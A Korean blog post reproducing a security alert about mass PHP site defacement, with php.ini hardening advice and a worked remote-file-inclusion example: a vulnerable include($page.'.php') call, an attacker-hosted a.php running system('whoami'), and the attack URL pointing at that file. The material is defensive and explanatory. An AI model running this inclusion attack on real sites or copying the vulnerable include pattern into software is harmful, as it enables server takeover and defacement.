반응형

PHP,게시판 프로그램 취약점 등을 이용한 홈페이지 변조가 대량으로 발생함에 따라 "주의"경보를 발령하오니 웹서버 관리자 및 홈페이지 운영자는 관련 프로그램의 신속한 업그레이드를 하시기 바랍니다.

[ 영향 ]
원격의 공격자가 웹서버 시스템 내 임의의 파일 읽기, 악성프로그램 주입 및 실행 등이 가능하며 해당 취약점을 이용한 홈페이지 대량 변조, 자료 삭제 등을 발생시킬 수 있습니다.

[ 해결책 ]
php.ini 환경설정 파일 내용을 다음과 같이 수정

o allow_url_fopen의 값을 'on'에서 'Off'로 수정
→ 기본값은 'on'
o magic_quotes_gpc 의 값을 'On'으로 수정
→ 기본값은 'on'
o register_globals 의 값을 'Off'로 수정
→ 기본값은 'off'

[ 공격 방법 ]
공격을 이해하기 위해서는 allow_url_fopen 이라는 php 설정 파일의 옵션에 대해 알아야 합니다.
allow_url_fopen 는 php 를 설정하는 php.ini 파일에서 설정 가능하며,이에 대한 설명을 보면 다음과 같습니다.

Whether to allow the treatment of URLs (like http:// or ftp://) as files.

즉, URL (http:// 또는 ftp:// 와 같은) 의 파일의 처리 허용을 할것인지를 설정하는것이다.
웹 상의 어떤 다른 객체와 연결가능함을 뜻하는데, 이는 사용자가 특별히 지정해 주지 않는 한 기본적으로 On 으로 되어 입니다.
그렇다 함은 다른곳의 php 파일을 source 화 하여 내용을 그래도 출력하여 주는 파일의 url 을 변수화 사용가능 하며, 이를 이용해 그 파일의 내용을 적용 가능하다는 이야기가 됩니다.

예제를 보자.

target 서버를 AAA.com 서버, php 지원을 하지 않는 서버를 BBB.com 이라 합니다.
AAA.com/index.php 에는 다음과 같은 구문이 습니다.

//이 php code 의 역할은 $page 의 변수로 넘어온 값의 이름과 //.php 라는 문자열을 결합하여 a.php, b.php 등의 이름 으로 만든후, //including 시켜주는 역할을 하고 있습니다.
include ($page.".php");
....
....
?>

또 php 를 지원하지 않는 BBB.com 에는 다음과 같은 내용의 파일을 만들어 이를 a.php 라는 파일로 합니다. URL => http://BBB.com/a.php
//이는 php 를 지원하지 않는 곳에 사용할 파일로 //php 형태를 띄고 있지만 php 를 지원 하지 않기 때문에 //php 화 하지 않은채 code 형태 그대로 전송이 되어 집니다.
system("whoami");
?>

자 그럼 공격은 다음과 같이 합니다.

http://AAA.com/index.php?page=http://BBB.com/a

http://AAA.com/index.php 에서는 $page 라는 변수에 정의된 파일을 읽을것이며 이를 정의한 것은 http://BBB.com/a 이나, .php 문자열을 결합하여 http://BBB.com/a.php 의 내용을 변수로 지정하여 읽어들일 것입니다. BBB.com 은 php 를 지원하지 않기 때문에 원래의 php code 를 그대로 노출시킵니다.
이 내용은 결국 http://AAA.com/index.php 에 정의 되어 있는대로 include 시킴으로 http://BBB.com/a.php 의 내용이 그대로 php 로 실행되어 버림니다.

한가지 더 팁을 붙인다면..
php.ini 파일의 내용을 볼때, php를 지원하지 않는 apache 가 아니어도 file source code 를 그대로 받을수 있는 ftp:// 로도 가능하지 않을까 싶습니다.
테스트는 해보지 않았습니다.

반응형

'리눅스' 카테고리의 다른 글

CentOS 에서 네임서버 설치 , 운영  (0) 2011.02.24
네임서버 설치  (0) 2011.02.24
rsync 하기  (0) 2011.01.06
Vi 에디터 사용법  (0) 2007.08.21
리눅스 관련 사이트  (1) 2007.06.18
리눅스의 부팅 순서  (0) 2007.06.18
리눅스 바이러스 위험과 대책  (0) 2007.06.18
리눅스에서 하드디스크를 구별하는 방법  (0) 2007.06.18
리눅스의 기본 명령어  (0) 2007.06.18
유닉스의 종류  (0) 2007.06.18

+ Recent posts